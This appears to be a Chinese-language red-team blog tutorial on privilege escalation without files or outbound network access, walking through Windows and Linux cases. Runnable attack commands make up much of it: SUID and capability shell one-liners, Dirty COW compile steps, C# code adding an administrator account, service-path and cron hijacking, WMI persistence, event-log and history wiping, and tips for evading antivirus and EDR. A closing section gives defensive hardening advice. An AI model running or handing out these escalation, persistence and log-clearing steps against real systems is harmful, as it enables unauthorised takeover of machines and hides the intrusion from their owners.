1. 项目概述:为什么“无文件不出网低权限提权”是红队与安全初学者的必修课
在真实的攻防对抗或渗透测试中,最让人头疼的场景莫过于此:你通过一个微小的漏洞(比如一个SQL注入点)成功拿到了一个Webshell,但权限低得可怜,可能只是一个IIS或Apache的普通服务账户;目标机器处于严格的内网隔离环境,无法直接连接外网下载你的“豪华工具包”;更棘手的是,安全软件(如EDR、AV)监控严格,上传任何可执行文件(exe、dll、ps1)都可能立即触发告警。这时候,你卡在了一个“低权限、无工具、无网络”的尴尬节点,渗透测试的路径似乎走到了死胡同。这正是“无文件不出网低权限提权”技术所要解决的核心痛点。
这套攻略不是纸上谈兵的理论,而是从无数次实战演练和真实靶场(比如近期热门的vulnstack红队5靶场)中提炼出的生存法则。它面向两类人:一是希望精进实战能力的红队工程师,二是刚入门安全、对提权概念模糊的“小白”。对于红队成员,这是在严苛环境下保持攻击链存续的关键技能;对于安全初学者,这是理解权限提升本质、绕过传统依赖的最佳实践。掌握它,意味着你不再依赖现成的exp或一键化工具,而是深入系统腹地,利用系统自身的“零件”完成权限的跃迁。本文将彻底拆解这一过程,从环境判断、信息收集、到多种实战手法的原理与操作,并提供大量踩坑实录,目标只有一个:让你在极端受限的环境下,依然能优雅地拿到SYSTEM或root权限。
2. 环境研判与信息收集:提权前的“战场侦察”
在尝试任何提权操作之前,盲目行动等同于自杀。你必须像侦察兵一样,全面摸清当前环境的“地形”和“守军”情况。这个阶段收集的信息质量,直接决定了后续攻击路径的成功率。
2.1 权限与用户上下文分析
首先,你需要精确知道自己是谁,以及能做什么。
# Windows 环境下
whoami /all # 查看当前用户、SID、所属组(特别注意是否有“Mandatory Label\Medium Mandatory Level”等完整性级别)
net user [username] # 查看指定用户的详细信息,包括本地组成员身份
net localgroup administrators # 查看本地管理员组有哪些成员,也许你就在里面而不知(某些服务账户可能被误加)
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" # 获取精确的系统版本,用于匹配漏洞
# Linux 环境下
id # 显示用户和组信息
whoami # 当前用户名
cat /etc/passwd | grep -v nologin # 查看所有可登录用户
sudo -l # **至关重要**:查看当前用户能以root身份无需密码运行哪些命令,这是最常见的提权入口之一
注意 :
sudo -l的输出需要仔细解读。如果看到(ALL : ALL) NOPASSWD: /usr/bin/vim,那意味着你可以直接用sudo vim以root身份启动vim,随后在vim内执行命令(:!bash)即可获得root shell。这是信息收集阶段最容易忽视的“金矿”。
2.2 网络与出站连通性判断
“不出网”需要精确定义。是完全无法发起任何出站连接,还是仅限制特定协议和端口?
# 尝试使用系统自带工具进行探测
# Windows
ping 8.8.8.8 -n 2 # ICMP出网
telnet [外部IP] 443 # TCP出网(需telnet客户端)
powershell Test-NetConnection [外部IP] -Port 443 # PowerShell方式
# Linux
ping -c 2 8.8.8.8 # ICMP出网
curl -m 3 http://example.com # HTTP出网
nc -zv [外部IP] 443 2>&1 # TCP出网
如果所有出站均被阻断,那么你后续的利用链必须完全基于内网资源和系统内置组件。如果只是HTTP/HTTPS被阻,但DNS或ICMP可能通,那么可以尝试DNS隧道等隐蔽通道,但这已属于“出网”范畴,本文聚焦严格不出网场景。
2.3 系统配置、服务与安全软件探查
了解系统安装了哪些软件、运行了哪些服务,以及安全防护的强度。
# Windows
tasklist /svc # 查看进程列表及对应服务
sc query state= all # 查看所有服务状态
wmic product get name,version # 查看安装的软件(可能不全)
Get-WmiObject -Class Win32_Product | Select-Object Name,Version # PowerShell方式
# 检查常见AV/EDR进程,如:MsMpEng.exe (Defender), cylancesrv.exe, csagent.exe等
# Linux
ps aux # 查看所有进程
systemctl list-units --type=service --state=running # 查看运行中的服务
dpkg -l | grep ^ii # Debian/Ubuntu查看已安装软件包
rpm -qa # CentOS/RHEL查看已安装软件包
ls -la /etc/cron* /var/spool/cron/ # 查看定时任务,可能有配置不当的脚本
find / -perm -4000 -type f 2>/dev/null # 查找SUID文件,另一个经典的提权突破口
这个阶段的目标是绘制一张“攻击面地图”:脆弱的服务配置、配置错误的权限、过时且有公开漏洞的软件版本、可以写入的脚本目录等。
3. 核心提权路径深度解析:从原理到实操
在“无文件不出网低权限”的约束下,提权路径主要围绕几个核心思路展开:滥用系统合法组件、利用内核或系统漏洞、劫持高权限进程或服务。下面我们分门别类,深入每一类的原理和具体手法。
3.1 利用系统内置工具与组件(Living-off-the-land)
这是“无文件”攻击的精髓,即利用操作系统自带的、被视为“可信”的工具来执行恶意操作。由于不引入新文件,极大规避了基于文件扫描的检测。
3.1.1 Windows 下的 PowerShell 与 .NET 利用
即使在不允许下载ps1脚本的环境下,PowerShell本身依然是一个强大的武器。
# 1. 内存加载.NET程序集执行
# 假设你有一个编译好的、能执行命令的.NET DLL的Base64字符串(需提前准备)
$assemblyBytes = [System.Convert]::FromBase64String("...很长的一串Base64...")
[System.Reflection.Assembly]::Load($assemblyBytes).GetType("ClassName").GetMethod("MethodName").Invoke($null, @("whoami"))
# 2. 利用Add-Type编译C#代码
# 直接在内存中编写并编译一个简单的C#类来执行命令
$code = @"
using System;
using System.Diagnostics;
public class Exploit {
public static void Run() {
Process.Start("cmd.exe", "/c net user hacker Password123! /add && net localgroup administrators hacker /add");
}
}
"@
Add-Type -TypeDefinition $code -Language CSharp
[Exploit]::Run()
实操心得 :
Add-Type在某些严格受限的PowerShell执行策略(如Restricted)下可能无法使用。此时可以尝试用PowerShell -ExecutionPolicy Bypass -Command “...”来绕过,或者转而使用更基础的工具。
3.1.2 Windows 下的 MSBuild 与 InstallUtil
这两个是.NET框架自带的工具,但可以被用来加载并执行任意C#代码。
# MSBuild方式
# 准备一个恶意的.csproj项目文件(内容为内嵌的C#任务),将其作为XML字符串内联执行,或写入一个临时文件(如果允许)
msbuild.exe evil.xml
# InstallUtil方式
# 准备一个恶意的.NET DLL(类需继承System.Configuration.Install.Installer,重写Install和Uninstall方法)
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U evil.dll
它们的优势在于,它们是微软签名的合法白进程,行为可能被允许。关键在于如何将恶意负载传递进去。在不出网的情况下,你需要提前将恶意代码的Base64编码或源代码写入当前目录,或者利用其他漏洞(如文件写入)先放置好。
3.1.3 Linux 下的 SUID/GUID 与 Capabilities 滥用
SUID(Set User ID)文件执行时,会以文件所有者的身份运行。如果找到一个属主是root且具有SUID权限的命令,并且该命令能用于执行任意命令,提权就完成了。
# 查找SUID文件
find / -perm -4000 -type f 2>/dev/null
# 常见危险SUID程序及利用方法:
# 1. find
find . -exec /bin/bash -p \; -quit
# 2. vim/vi (如果以SUID运行)
vim -c ':py import os; os.execl("/bin/bash", "bash", "-p")'
# 3. less/more
less /etc/passwd
# 在less界面中,输入 `!bash` 即可
# 4. nmap (旧版本交互模式)
nmap --interactive
nmap> !bash
Capabilities是更细粒度的权限划分。例如,如果某个二进制文件被赋予了
cap_dac_read_search
能力,它就能绕过文件读权限检查。
# 查找具有Capabilities的文件
getcap -r / 2>/dev/null
# 如果发现 /usr/bin/python3.8 = cap_setuid+ep
# 那么可以直接用python提权:
python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")'
3.2 内核漏洞提权(脏牛、永恒之蓝等)
这是最直接、最暴力的方式,利用操作系统内核的漏洞来突破权限限制。经典案例如“脏牛”(Dirty Cow, CVE-2016-5195),影响范围极广的Linux本地提权漏洞。
3.2.1 脏牛(Dirty Cow)原理与不出网利用
脏牛漏洞的核心是Linux内核内存子系统在处理写时拷贝(Copy-on-Write)时存在竞争条件,允许攻击者篡改只读内存映射,从而修改root用户拥有的SUID文件(如
/bin/passwd
),达到提权目的。
在不出网环境下,你无法从互联网下载编译好的exp。因此,你需要:
- 手工编写或上传exp源码 :将exp的C语言源代码以文本形式上传(例如,通过echo命令一行行写入,或利用已有的文件上传点)。源代码相对文本,特征较小。
- 寻找可用的编译器 :检查目标系统是否有gcc、cc等编译器。
which gcc cc clang
- 编译并执行 :
# 假设已将exp代码保存为 dirty.c
gcc -pthread dirty.c -o dirty -lcrypt
./dirty
# 执行后会提示输入新root密码,然后通过 `su firefart` 并输入密码即可获得root shell。
踩坑实录 :编译过程可能因缺少头文件或库而失败。可以尝试静态编译
gcc -static -pthread dirty.c -o dirty -lcrypt,或者寻找更简单的、依赖更少的exp变种。另外,某些加固系统可能删除了编译器,此时需要寻找替代的编译方法,或者利用解释型语言(如python)实现的exp。
3.2.2 Windows 内核漏洞利用
Windows内核漏洞如MS17-010(永恒之蓝的SMB漏洞,通常用于横向移动,但也有本地提权变种)等。不出网环境下,你需要:
-
精准匹配系统版本和补丁
:使用
systeminfo查看系统版本和已安装的补丁(Hotfix(s))。在互联网不可用时,你需凭借经验或本地知识库判断可能存在的漏洞。 -
准备对应的二进制exp
:这通常是一个.exe文件。在不出网情况下,获取它是个难题。可能的途径有:
- 从已控的其他内网机器传输 :如果内网有另一台已控机器,可以用简单的HTTP服务器或SMB共享来传递文件。
- 将exp嵌入到已有文件中 :例如,将exe进行Base64编码,然后通过certutil(Windows)或echo(Linux)在目标机上解码还原。
# Windows 下使用 certutil 解码 Base64 文件 # 首先,将exp.exe编码为base64.txt(在攻击机上完成) # certutil -encode exp.exe base64.txt # 然后,在目标机上(通过webshell等)创建base64.txt,并解码 certutil -decode base64.txt exp.exe- 使用纯内存加载技术 :如果exp是DLL形式,可以尝试通过PowerShell或.NET的反射加载技术,不落地文件直接注入到进程中。
3.3 服务与进程劫持提权
这种提权不依赖漏洞,而是利用系统配置、权限设置上的逻辑缺陷。
3.3.1 Windows 服务路径劫持
如果一个Windows服务是以SYSTEM等高权限运行,但其可执行文件路径包含空格且未被引号包裹,并且你对路径中的某个目录有写权限,就可以进行劫持。
# 检查有问题的服务
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """
# 查找路径中是否存在空格且未被引号包围,例如:C:\Program Files\Vulnerable App\service.exe
# 如果你对 C:\Program Files 有写权限,就可以创建一个名为 Vulnerable.exe 的恶意程序,当服务重启时,系统会尝试执行 C:\Program.exe,从而触发你的程序。
实操步骤 :
- 找到符合条件的服务。
-
在空格前的目录创建恶意可执行文件(例如
Program.exe)。 - 重启服务(可能需要等待系统重启或诱使管理员重启)。
- 恶意程序将以服务账户(通常是SYSTEM)权限运行。
3.3.2 DLL劫持(Windows)
许多应用程序在启动时会加载一系列DLL。如果程序在加载DLL时没有指定绝对路径,并且搜索顺序中有一个目录是当前用户可写的,那么放置一个同名的恶意DLL,程序就会加载它。
# 使用 Process Monitor (ProcMon) 可以精确定位DLL加载路径,但在不出网环境下,我们更多依赖经验和常见路径。
# 常见可写目录如:程序当前目录、C:\Windows\Temp、用户Temp目录等。
不出网利用难点
:你需要一个编译好的恶意DLL。这又回到了文件落地的问题。解决方案可以是:使用
msfvenom
生成纯shellcode,然后利用
rundll32.exe
或
regsvr32.exe
配合
scrobj.dll
从远程(但不出网则不行)或本地(通过共享)执行。更可行的方式是,如果存在一个已控的内网位置,可以先将DLL放置在那里。
3.3.3 Cron Jobs / 定时任务劫持(Linux)
Linux系统的cron定时任务如果以root身份运行,并且其执行的脚本或二进制文件所在目录对当前用户可写,就可以通过修改该文件进行提权。
# 查看系统级定时任务
cat /etc/crontab
ls -la /etc/cron.*/
# 查看用户级定时任务(需要相应权限)
ls -la /var/spool/cron/crontabs/
如果发现一个任务类似
* * * * * root /opt/scripts/backup.sh
,而你对
/opt/scripts/
目录有写权限,就可以用恶意命令覆盖
backup.sh
,等待cron执行。
4. 实战流程串联与案例拆解
理论需要结合实战。我们模拟一个经典场景:你通过Web漏洞获得了一个
www-data
用户的Linux shell,目标不出网,且系统相对干净,没有明显的SUID漏洞和sudo配置。
4.1 案例:从 www-data 到 root
第一步:深度信息收集
id
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
sudo -l
# Sorry, user www-data may not run sudo on ubuntu-server.
find / -perm -4000 -type f 2>/dev/null | grep -v "/snap/" | head -20
# /usr/bin/find
# /usr/bin/vim.basic
# /usr/lib/openssh/ssh-keysign
# /usr/lib/dbus-1.0/dbus-daemon-launch-helper
发现两个关键的SUID文件:
find
和
vim.basic
。
第二步:尝试利用SUID vim
vim.basic -c ':py import os; os.execl("/bin/bash", "bash", "-p")'
# 如果成功,你会直接获得一个root shell(#)。
# 但很多系统会降权运行SUID的vim,导致失败。提示“E299: Cannot set user id to 33”。此时尝试find。
第三步:利用SUID find提权
find . -exec /bin/bash -p \; -quit
# 执行后,输入 `id` 查看,如果uid=0,则提权成功。
如果上述常见SUID利用都失败了(比如find被降权或不存在),继续探查。
第四步:检查内核版本与漏洞
uname -a
# Linux ubuntu-server 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
cat /etc/issue
# Ubuntu 16.04 LTS
系统是Ubuntu 16.04,内核版本4.4.0-21,存在脏牛漏洞的可能性极高。
第五步:无文件编译脏牛exp
由于不出网,我们需要将exp源码“搬运”进来。假设我们通过webshell的写入功能,将dirty.c的源码分多次用
echo
追加到一个文件中。
cd /tmp
# 一行行地echo源码内容,这里仅示意开头
echo '#include <fcntl.h>' > dirty.c
echo '#include <pthread.h>' >> dirty.c
# ... 省略数百行,将完整的exp源码全部写入 ...
echo 'return 0;' >> dirty.c
然后检查并编译:
which gcc
# /usr/bin/gcc
gcc --version
# 确认有gcc
gcc -pthread dirty.c -o dirty -lcrypt
# 如果编译成功
./dirty
# 按照提示设置密码,然后 `su firefart` 提权。
如果编译失败,可能是缺少
linux-headers
。可以尝试寻找更简单的、不依赖特定头文件的PoC,或者尝试用Python等其他语言编写的exp。
第六步:清理痕迹 提权成功后,务必清理临时文件、命令历史等。
rm -f /tmp/dirty.c /tmp/dirty
history -c
4.2 案例:从 IIS User 到 SYSTEM(Windows)
场景:获得一个IIS应用池账户的shell,通常是
NT AUTHORITY\IUSR
或自定义的应用程序池标识,权限很低。
第一步:信息收集
whoami /all
# 确认是低权限用户,且完整性级别可能是Medium。
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
# 例如:Windows Server 2012 R2 Standard
tasklist /svc
# 查看运行的服务和进程。
第二步:寻找可写路径与脆弱服务
accesschk.exe -uws "Everyone" "C:\Program Files" # 假设你有accesschk,否则用icacls手动查
icacls "C:\Program Files\SomeVendor"
# 检查是否有对某些程序安装目录的修改权限。
wmic service get name,displayname,pathname,startmode | findstr /i /v "c:\windows\\" | findstr /i /v """ | findstr /i "auto"
# 寻找非Windows目录、自动启动、路径无引号的服务。
假设发现服务
VulnService
,路径为
C:\Program Files\Vendor\bin\service.exe
。
第三步:实施服务路径劫持
# 1. 确认对 C:\Program Files 或 C:\Program Files\Vendor 有写权限。
echo test > "C:\Program Files\Vendor\test.txt"
# 如果成功,则证明有写权限。
# 2. 创建一个恶意程序 Vendor.exe,其功能是添加用户并提升为管理员。
# 由于不出网,我们需要用系统自带工具生成或编写。
# 方法A:使用msfvenom在攻击机生成,base64编码后通过webshell传入,用certutil解码(略)。
# 方法B:更隐蔽,使用msiexec或regsvr32执行远程脚本(但不出网不行)。
# 方法C:利用PowerShell内存加载(如果PowerShell可用且策略允许)。
# 这里假设我们采用方法A的变种,成功在目标机生成了 Vendor.exe。
# 3. 将 Vendor.exe 放置在 C:\Program Files\ 目录下。
# 4. 重启服务。如果无法重启,可以尝试重启系统(攻击性较强),或者等待系统维护重启。
sc stop VulnService
sc start VulnService
# 如果服务停止成功但启动失败(因为路径错误),可能触发管理员检查,需谨慎。
# 5. 服务重启后,Vendor.exe以SYSTEM权限运行,执行了添加管理员账户的命令。
net user
# 检查是否出现了新账户。
第四步:备用方案——内核漏洞 如果服务劫持失败,检查系统补丁情况,寻找合适的本地提权内核exp(如MS16-032、MS17-010的本地利用等),并采用类似的“无文件”或“最小化文件落地”方式部署执行。
5. 高级技巧与深度隐匿
在高度戒备的环境中,简单的命令执行可能会被日志记录或行为检测发现。我们需要更高级的技巧。
5.1 无文件持久化与内存执行
Windows:利用WMI事件订阅 WMI(Windows Management Instrumentation)可以订阅系统事件(如开机、特定时间),并执行一段Payload。Payload可以是嵌入在WQL查询中的VBScript/JScript,实现真正的无文件。
# 创建一个在特定时间(或开机时)执行Payload的WMI事件过滤器(Filter)和消费者(Consumer)
$FilterArgs = @{name='TestFilter'; EventNameSpace='root\cimv2'; QueryLanguage='WQL'; Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 200 AND TargetInstance.SystemUpTime < 320"}
$Filter=Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments $FilterArgs
$ConsumerArgs = @{name='TestConsumer'; CommandLineTemplate="cmd.exe /c powershell -enc [Base64编码的Payload]"}
$Consumer=Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments $ConsumerArgs
$BindingArgs = @{Filter=$Filter; Consumer=$Consumer}
$Binding=Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments $BindingArgs
这种方式极其隐蔽,Payload在内存中由
wmiprvse.exe
进程加载执行。
Linux:利用Cron Jobs或Systemd Timer注入Shellcode
可以通过写入Cron job或Systemd timer来定期执行一段从内存中读取并执行Shellcode的脚本。例如,用一个Python脚本作为Cron job,该脚本内嵌了Shellcode的Hex字符串,通过
ctypes
或
mmap
在内存中执行。
5.2 日志清理与对抗
提权成功后,清理痕迹至关重要。
# Linux 清理历史记录
history -c # 清除当前session历史
rm ~/.bash_history # 删除历史文件
ln -s /dev/null ~/.bash_history # 或者将其链接到/dev/null
# 清理auth.log等日志(需要root权限)
echo "" > /var/log/auth.log
# 更隐蔽的做法是只删除与自己IP或用户相关的行,使用sed。
# Windows 清理事件日志(需要管理员权限)
wevtutil cl System
wevtutil cl Security
wevtutil cl Application
# 或者更精细地删除特定事件ID的日志,使用PowerShell的Get-WinEvent和Remove-EventLog。
重要警告 :大规模清空日志本身是一个高危行为,可能触发“日志服务异常”告警。在高级别对抗中,更推荐的做法是禁用特定日志源或篡改日志内容,而非直接清空。
6. 防御视角与排查建议
了解了攻击手法,才能更好地防御。从蓝队或系统管理员的角度,可以采取以下措施:
- 最小权限原则 :所有服务、应用程序都应使用所需的最小权限账户运行。避免使用SYSTEM、root或管理员账户运行Web服务、数据库等。
- 及时更新与补丁管理 :建立严格的补丁更新流程,尤其是针对操作系统、数据库、中间件和常用软件的内核及高危漏洞。
-
强化系统配置
:
-
Windows
:对关键目录(如
C:\Program Files、C:\Windows)设置严格的ACL,禁止非特权用户写入。为所有服务使用引号包裹的可执行文件路径。启用Windows Defender攻击面减少(ASR)规则。 -
Linux
:定期审计SUID/GUID文件 (
find / -perm /6000 -type f),移除非必要的设置。使用sudo替代直接使用root,并精细配置sudoers文件。考虑使用 SELinux/AppArmor 进行强制访问控制。
-
Windows
:对关键目录(如
- 部署端点检测与响应(EDR) :EDR能够检测进程行为异常、内存注入、PowerShell恶意使用、WMI事件订阅等无文件攻击技术。
- 加强日志审计与监控 :集中收集和分析系统日志、安全日志、应用日志。关注异常账户创建、服务安装、计划任务变更、权限提升事件(如sudo使用、su切换)。
- 网络分段与出站控制 :严格限制服务器,特别是前端Web服务器的出站连接。只允许访问必要的内部服务(如数据库、缓存),阻断所有到互联网的主动连接,这能极大增加攻击者在不出网环境下利用外部资源的难度。
- 定期进行渗透测试与红蓝对抗 :主动模拟攻击者的行为,发现自身防御体系的盲点,验证在“无文件不出网低权限”的假设下,攻击路径是否依然存在。
7. 常见问题排查与实战避坑指南
在实际操作中,你会遇到各种意想不到的问题。这里记录一些高频问题的解决思路。
Q1:执行提权exp时,编译失败,提示“fatal error: xxx.h: No such file or directory”。 A1 :这是缺少开发库头文件。在不出网情况下,几乎无法安装。解决方案:
- 寻找不依赖特定头文件的简化版exp。
- 尝试使用其他语言(如Python、Perl)编写的exp。
- 检查是否有其他已安装软件自带了编译器或头文件(如某些开发环境)。
-
如果目标系统是Debian/Ubuntu,可以尝试从其他相同版本的可联网机器下载对应的
-dev包,手动提取头文件并上传(操作复杂)。
Q2:利用SUID程序(如find)提权时,执行后权限没有变化。 A2 :可能原因:
-
系统使用了诸如
grsecurity、PaX等内核安全模块,限制了SUID程序的权限提升。 -
该SUID程序本身被编译时设置了
PR_SET_NO_NEW_PRIVS属性,或者被seccomp过滤了系统调用。 -
你使用的命令参数不对。例如,某些版本的
find需要-exec ... {} \\;的格式。多尝试几种变体。 -
检查当前shell是否受限制(
rbash)。尝试bash -p来启动一个特权shell。
Q3:在Windows上,尝试用MSBuild或InstallUtil执行Payload时,被安全软件拦截。 A3 :现代EDR/AV对这类Living-off-the-land技术也有检测。可以尝试:
- 混淆 :对C#代码进行混淆,拆分字符串,使用反射等动态调用方式。
- 分离 :将核心Payload放在别处(如注册表、环境变量),由加载器去读取并执行。
- 时间差 :在安全软件扫描间隔或系统空闲时执行。
-
利用更冷门的系统工具
:如
Caspol.exe(.NET代码访问安全策略工具,已弃用但可能存在)、Microsoft.Workflow.Compiler.exe等。
Q4:所有提权方法都失败了,怎么办? A4 :这可能意味着系统加固做得非常好。此时需要回归基础,进行更细致的信息收集:
- 检查所有计划任务、服务、启动项,寻找任何可写的脚本或配置文件。
-
检查数据库连接字符串、配置文件,看是否有高权限的数据库账户,尝试通过数据库执行系统命令(如MySQL的
SELECT ... INTO OUTFILE后门,或MSSQL的xp_cmdshell)。 - 查看安装的第三方软件,特别是管理类、监控类软件,它们可能自带命令行接口或存在已知漏洞。
- 考虑社会工程学:是否有可能诱骗管理员执行某个操作?或者,当前低权限账户是否能访问到含有敏感信息(如管理员密码)的文件?
- 最后,如果目标是内网渗透,或许可以暂时放弃这台主机,利用它作为跳板,横向移动到其他防御更薄弱的主机,再寻找机会迂回。
761




被折叠的 条评论
为什么被折叠?



